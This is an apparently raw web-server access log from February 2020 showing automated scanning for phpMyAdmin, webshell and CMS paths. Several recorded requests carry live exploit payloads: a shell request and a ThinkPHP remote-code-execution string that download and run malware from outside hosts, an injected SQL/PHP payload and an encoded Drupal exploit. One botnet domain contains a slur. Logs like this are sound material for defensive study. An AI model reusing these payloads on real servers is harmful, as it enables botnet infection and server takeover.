143.92.56.10 - - [16/Feb/2020:18:42:21 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:21 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:21 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:21 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:42:21 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:42:42 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [16/Feb/2020:18:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:43:04 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
114.40.241.62 - - [16/Feb/2020:18:43:06 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
143.92.56.10 - - [16/Feb/2020:18:43:25 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:43:47 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [16/Feb/2020:18:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:44:09 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:44:31 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [16/Feb/2020:18:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:44:53 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:45:14 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:45:36 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [16/Feb/2020:18:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:45:57 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:45:57 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:45:57 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:45:58 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
143.92.56.10 - - [16/Feb/2020:18:45:58 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
143.92.56.10 - - [16/Feb/2020:18:46:19 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
143.92.56.10 - - [16/Feb/2020:18:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [16/Feb/2020:18:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:47:03 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
143.92.56.10 - - [16/Feb/2020:18:47:25 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
143.92.56.10 - - [16/Feb/2020:18:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [16/Feb/2020:18:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.96.57.52 - - [16/Feb/2020:18:48:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
143.92.56.10 - - [16/Feb/2020:18:48:08 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
143.92.56.10 - - [16/Feb/2020:18:48:30 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
82.78.178.104 - - [16/Feb/2020:18:48:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:18:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:48:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
143.92.56.10 - - [16/Feb/2020:18:49:14 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
143.92.56.10 - - [16/Feb/2020:18:49:35 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [16/Feb/2020:18:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.92.56.10 - - [16/Feb/2020:18:49:57 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
143.92.56.10 - - [16/Feb/2020:18:49:57 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:58 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:58 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:58 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:58 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:58 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:59 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:59 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:59 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:59 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:49:59 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:00 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:00 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:00 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:00 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:00 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:01 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:01 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:01 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:01 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:02 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:02 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:02 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:02 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:02 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:03 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:03 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:03 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:03 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:03 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:04 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:04 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:04 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:04 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:04 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:05 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:05 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:05 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:05 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:05 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:06 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:06 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:06 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:06 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:07 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:07 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:07 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:07 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:07 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:08 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:08 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:08 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:08 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:08 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:09 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:09 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:09 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:09 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:09 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:10 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:10 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:10 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:10 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:11 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:11 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:11 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:11 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:11 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:12 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:12 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:12 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:12 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:12 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:13 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:13 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:13 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:13 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:13 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:14 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:14 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:14 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:14 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:14 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:15 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:15 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:15 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:15 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:16 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:16 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
143.92.56.10 - - [16/Feb/2020:18:50:16 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
